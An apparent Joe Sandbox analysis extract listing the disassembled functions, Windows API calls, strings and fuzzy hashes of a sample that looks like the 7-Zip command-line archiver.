                                                                                                                                                                                                                                                                    • DeviceIoControl.KERNEL32(000000FF,000700A0,00000000,00000000,?,00000028,?,00000000), ref: 00C5673B
                                                                                                                                                                                                                                                                    • DeviceIoControl.KERNEL32(000000FF,00070000,00000000,00000000,00000003,00000018,?,00000000), ref: 00C5676B
                                                                                                                                                                                                                                                                    • DeviceIoControl.KERNEL32(000000FF,0002404C,00000000,00000000,00000003,00000018,?,00000000), ref: 00C5678D
                                                                                                                                                                                                                                                                      • Part of subcall function 00C57D72: GetModuleHandleW.KERNEL32(kernel32.dll,GetDiskFreeSpaceExW,7591F5D0,000000FF,00000000,?,?,?,?,?,?,?,?,?,00C56705,00000001), ref: 00C57D8E
                                                                                                                                                                                                                                                                      • Part of subcall function 00C57D72: GetProcAddress.KERNEL32(00000000), ref: 00C57D95
                                                                                                                                                                                                                                                                      • Part of subcall function 00C57D72: GetDiskFreeSpaceW.KERNEL32(00000001,00C56705,?,?,?,?,?,?,?,?,?,?,?,?,00C56705,00000001), ref: 00C57DE5
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ControlDevice$AddressDiskFreeHandleModuleProcSpace
                                                                                                                                                                                                                                                                    • String ID: :
                                                                                                                                                                                                                                                                    • API String ID: 4250411929-336475711
                                                                                                                                                                                                                                                                    • Opcode ID: 7597298e2e26a08924532a8f8ee6245ada2d566016f5583443eb70b6bb56c749
                                                                                                                                                                                                                                                                    • Instruction ID: 0e17c80102b82770357b1c05ed1c4942eb72d388a21b167ff8b6a06ff1b3bb26
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 7597298e2e26a08924532a8f8ee6245ada2d566016f5583443eb70b6bb56c749
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 4E51C875900348AEDB20DBA4C881DEFBBFCEF08748F40C45AE59597241D631DE88DB65
                                                                                                                                                                                                                                                                    Function 00C57D72 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 76libraryloaderCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetModuleHandleW.KERNEL32(kernel32.dll,GetDiskFreeSpaceExW,7591F5D0,000000FF,00000000,?,?,?,?,?,?,?,?,?,00C56705,00000001), ref: 00C57D8E
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 00C57D95
                                                                                                                                                                                                                                                                    • GetDiskFreeSpaceW.KERNEL32(00000001,00C56705,?,?,?,?,?,?,?,?,?,?,?,?,00C56705,00000001), ref: 00C57DE5
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AddressDiskFreeHandleModuleProcSpace
                                                                                                                                                                                                                                                                    • String ID: GetDiskFreeSpaceExW$kernel32.dll
                                                                                                                                                                                                                                                                    • API String ID: 1197914913-1127948838
                                                                                                                                                                                                                                                                    • Opcode ID: dc3654be7bc9c7c8023bc395336140eecf0f86c87f2eed9f60a6ec7d44af2cfd
                                                                                                                                                                                                                                                                    • Instruction ID: 5b021e55237c3d1df9dc97cdbaabf46662bec91b3dd85892c4ff4358f6b762c2
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: dc3654be7bc9c7c8023bc395336140eecf0f86c87f2eed9f60a6ec7d44af2cfd
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 402128B5900209AFCB11DF94CC85BEEBBF8FF18300F10816AE955A7250E730AA49DB64
                                                                                                                                                                                                                                                                    Function 00C586FB Relevance: 1.5, APIs: 1, Instructions: 3timeCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetSystemTimeAsFileTime.KERNEL32(?,00C80774,00000000,00000000,76368E30), ref: 00C586FC
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Time$FileSystem
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2086374402-0
                                                                                                                                                                                                                                                                    • Opcode ID: 7139b8a8f5c0d3f2061ad3cd41b3abe8f0effe92e9bfb5bbf482bf40c8fbd5c8
                                                                                                                                                                                                                                                                    • Instruction ID: e36ad001780428bec69aa57849eb548dba17ded85cba27f362e06d3ec4be34bc
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 7139b8a8f5c0d3f2061ad3cd41b3abe8f0effe92e9bfb5bbf482bf40c8fbd5c8
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash:
                                                                                                                                                                                                                                                                    Function 00C8073E Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 173libraryloadertimeCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetCurrentProcess.KERNEL32(00C8C618,?,00000000,?), ref: 00C80754
                                                                                                                                                                                                                                                                    • GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00C7F815,00000000), ref: 00C8075B
                                                                                                                                                                                                                                                                      • Part of subcall function 00C586FB: GetSystemTimeAsFileTime.KERNEL32(?,00C80774,00000000,00000000,76368E30), ref: 00C586FC
                                                                                                                                                                                                                                                                    • memset.MSVCRT ref: 00C8077D
                                                                                                                                                                                                                                                                    • GetModuleHandleW.KERNEL32(kernel32.dll,00000000,00000000,76368E30), ref: 00C80796
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,K32GetProcessMemoryInfo), ref: 00C807AB
                                                                                                                                                                                                                                                                    • LoadLibraryW.KERNEL32(Psapi.dll,?,?,?,?,?,?,?,?,?,?,?,?,?,00C7F815,00000000), ref: 00C807B8
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,GetProcessMemoryInfo), ref: 00C807C8
                                                                                                                                                                                                                                                                    • GetCurrentProcess.KERNEL32(?,00000028,?,?,?,?,?,?,?,?,?,?,?,?,?,00C7F815), ref: 00C807D6
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(?,QueryProcessCycleTime), ref: 00C807EA
                                                                                                                                                                                                                                                                    • GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C7F815,00000000), ref: 00C807F6
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C8086F
                                                                                                                                                                                                                                                                    • __aulldiv.LIBCMT ref: 00C80884
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C808A1
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Process$AddressCurrentProc$Timefputs$FileHandleLibraryLoadModuleSystemTimes__aulldivmemset
                                                                                                                                                                                                                                                                    • String ID: F:v$ MCycles$GetProcessMemoryInfo$Global $K32GetProcessMemoryInfo$Kernel $Physical$Process$Psapi.dll$QueryProcessCycleTime$User $Virtual $kernel32.dll
                                                                                                                                                                                                                                                                    • API String ID: 2419529047-168151995
                                                                                                                                                                                                                                                                    • Opcode ID: 3cc0705a0046894569734b79e3222ceeb40cd12515112d9b7ec46d9216ed27cf
                                                                                                                                                                                                                                                                    • Instruction ID: 123f19deec72d23298a55f5d2652a8000f6a621cc94a336a94f04f6efa8fcf55
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 3cc0705a0046894569734b79e3222ceeb40cd12515112d9b7ec46d9216ed27cf
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: FB513E72E00218AFDB14EBE4DC85EAEBBB9EF48704F14446AF501F3151DA705D499B68
                                                                                                                                                                                                                                                                    Function 00C7C8BE Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 240COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C7C8C3
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C7C8F9
                                                                                                                                                                                                                                                                      • Part of subcall function 00C7CBFC: __EH_prolog.LIBCMT ref: 00C7CC01
                                                                                                                                                                                                                                                                      • Part of subcall function 00C7CBFC: fputs.MSVCRT ref: 00C7CC16
                                                                                                                                                                                                                                                                      • Part of subcall function 00C7CBFC: fputs.MSVCRT ref: 00C7CC1F
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C7C929
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51C6A: fputc.MSVCRT ref: 00C51C71
                                                                                                                                                                                                                                                                    • SysFreeString.OLEAUT32(00000000), ref: 00C7CA62
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C7CA85
                                                                                                                                                                                                                                                                    • SysFreeString.OLEAUT32(00000000), ref: 00C7CB22
                                                                                                                                                                                                                                                                    • SysFreeString.OLEAUT32(00000000), ref: 00C7CB6C
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs$FreeString$H_prolog$fputc
                                                                                                                                                                                                                                                                    • String ID: --$----$Path$Type$Warning: The archive is open with offset
                                                                                                                                                                                                                                                                    • API String ID: 2047134881-3797937567
                                                                                                                                                                                                                                                                    • Opcode ID: cd72d37a0c094f430a0947d5a2f1fbf685a63845f9c68f2e5ab0538f4b406dc5
                                                                                                                                                                                                                                                                    • Instruction ID: d731a99b3dbfb7adc426468a42783cc0e5f4f3036a4c5c843b6318973b613fa0
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: cd72d37a0c094f430a0947d5a2f1fbf685a63845f9c68f2e5ab0538f4b406dc5
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: BC914A71A00206EFCB14DFA4D985AAEB7B5FF48314F10812DF51AA7291DB30AE45DB64
                                                                                                                                                                                                                                                                    Function 00C5C7E9 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 166COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C5C7EE
                                                                                                                                                                                                                                                                    • OpenFileMappingW.KERNEL32(00000004,00000000,?,?,?,00000000,?), ref: 00C5C8B2
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,00000000,?), ref: 00C5C8BF
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ErrorFileH_prologLastMappingOpen
                                                                                                                                                                                                                                                                    • String ID: Can not open mapping$Map data error$MapViewOfFile error$Unsupported Map data$Unsupported Map data size
                                                                                                                                                                                                                                                                    • API String ID: 2221086200-220075109
                                                                                                                                                                                                                                                                    • Opcode ID: c4c92954aed0686f8956d5960d38369a825e6d8d3bec3f40ed984841bf0be900
                                                                                                                                                                                                                                                                    • Instruction ID: d34bd95a5f8d982e2d30158200d842b858aec2adabc29cb2517ae5ba52f8af4a
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c4c92954aed0686f8956d5960d38369a825e6d8d3bec3f40ed984841bf0be900
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 6451897980025ADECF01EBA4C885AEDBBB1FF18316F544059EC0177291DB705E8DEBA9
                                                                                                                                                                                                                                                                    Function 00C7A539 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 78COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs$H_prolog$fputcfree
                                                                                                                                                                                                                                                                    • String ID: Modified: $Path: $Size:
                                                                                                                                                                                                                                                                    • API String ID: 2632947726-3207571042
                                                                                                                                                                                                                                                                    • Opcode ID: b857cd5f83a0928251dd6bcd20e9dafa5220beed8e24898a194966c032114595
                                                                                                                                                                                                                                                                    • Instruction ID: 8b3ea13d6993925c5684f31410a20abae82c6cebd1d01a70dfca92fcdd2f6f60
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: b857cd5f83a0928251dd6bcd20e9dafa5220beed8e24898a194966c032114595
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 53218035600105ABCF05BB94CCD6FAEBF32EF84715F184027F805661A1EB3159A9EF96
                                                                                                                                                                                                                                                                    Function 00C7C0AE Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 323COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs$H_prolog
                                                                                                                                                                                                                                                                    • String ID: F:v$@$data:
                                                                                                                                                                                                                                                                    • API String ID: 2614055831-37829203
                                                                                                                                                                                                                                                                    • Opcode ID: 475ce94be7d2d4ad1c7bf19ec59535033bc69d9debc09d4b6ff4e30f8c9d1d6a
                                                                                                                                                                                                                                                                    • Instruction ID: 2cd77d6c32fcba3a3075d67591f9c8b92b7e23e381d9950c21c158e2fc2ec56c
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 475ce94be7d2d4ad1c7bf19ec59535033bc69d9debc09d4b6ff4e30f8c9d1d6a
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 25C19C7190020AAFCF15DBA4D8D4BFEB7B5FF48314F24841DE41AA3161DB30AA49DB61
                                                                                                                                                                                                                                                                    Function 00C80A8A Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 47COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs
                                                                                                                                                                                                                                                                    • String ID: $ (LP)$ F:v$ MB$ Memory =$Physical
                                                                                                                                                                                                                                                                    • API String ID: 1795875747-960272258
                                                                                                                                                                                                                                                                    • Opcode ID: 34b41eb863bbe45db05c966925dfcc11463772eea7ade067e0c750c58a70a687
                                                                                                                                                                                                                                                                    • Instruction ID: f4d2407961ded6a14d9b7f571bae320e5dc48647acc8aa029fecc3bddcbb8572
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 34b41eb863bbe45db05c966925dfcc11463772eea7ade067e0c750c58a70a687
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 6101F9B2A042047FD704A7D4EC86F1E7B64EF89728F24012BF540872A1EA7168259F68
                                                                                                                                                                                                                                                                    Function 00C80966 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 114COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs$fputc$__aulldiv
                                                                                                                                                                                                                                                                    • String ID: F:v$ Time =$Kernel
                                                                                                                                                                                                                                                                    • API String ID: 3602660170-462583565
                                                                                                                                                                                                                                                                    • Opcode ID: 7091c6405c44c45273adcd8ecf92d54a3a4fff2a9815af22cb8571a2cc1ed305
                                                                                                                                                                                                                                                                    • Instruction ID: 500d5f7639984c2182cb6d2e1154d0e37acda49abd78368af0e1e1ae3559c4af
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 7091c6405c44c45273adcd8ecf92d54a3a4fff2a9815af22cb8571a2cc1ed305
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 9F310C72A00218BFEB15FF94DC46F8E77A5FF48B14F10801AF9049B2D1D6B19E509B98
                                                                                                                                                                                                                                                                    Function 00C7CE81 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 37COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs
                                                                                                                                                                                                                                                                    • String ID: : Can not open the file as [$ERROR$Open $WARNING$] archive
                                                                                                                                                                                                                                                                    • API String ID: 1795875747-2741933734
                                                                                                                                                                                                                                                                    • Opcode ID: b8a27ae048a6a892db2b4432cc57305936fcd96ac030eb5a27b4105ab25d9644
                                                                                                                                                                                                                                                                    • Instruction ID: e74115e2e4aaa68302e533b90a73191e729c8c54e89801baa6cf645060c6dbe3
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: b8a27ae048a6a892db2b4432cc57305936fcd96ac030eb5a27b4105ab25d9644
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B2F05C726002083BD6143795AC84E3EBF4ADFC9765F24002BFD0453262FF221C249F69
                                                                                                                                                                                                                                                                    Function 00C7AE3F Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 252COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C7AE44
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C7AF44
                                                                                                                                                                                                                                                                      • Part of subcall function 00C81554: fputs.MSVCRT ref: 00C815BD
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C7B02C
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C7B144
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C7B193
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51C5B: fflush.MSVCRT ref: 00C51C5D
                                                                                                                                                                                                                                                                      • Part of subcall function 00C54AD4: __EH_prolog.LIBCMT ref: 00C54AD9
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51C7D: __EH_prolog.LIBCMT ref: 00C51C82
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51C7D: fputs.MSVCRT ref: 00C51CF5
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A79: free.MSVCRT ref: 00C51A7D
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs$H_prolog$fflushfree
                                                                                                                                                                                                                                                                    • String ID: Can't allocate required memory$ERRORS:$WARNINGS:
                                                                                                                                                                                                                                                                    • API String ID: 1750297421-1898165966
                                                                                                                                                                                                                                                                    • Opcode ID: 4aee489c18f2dd86cc73dd2943d18b01719e6265213ff0bf541a51705635381a
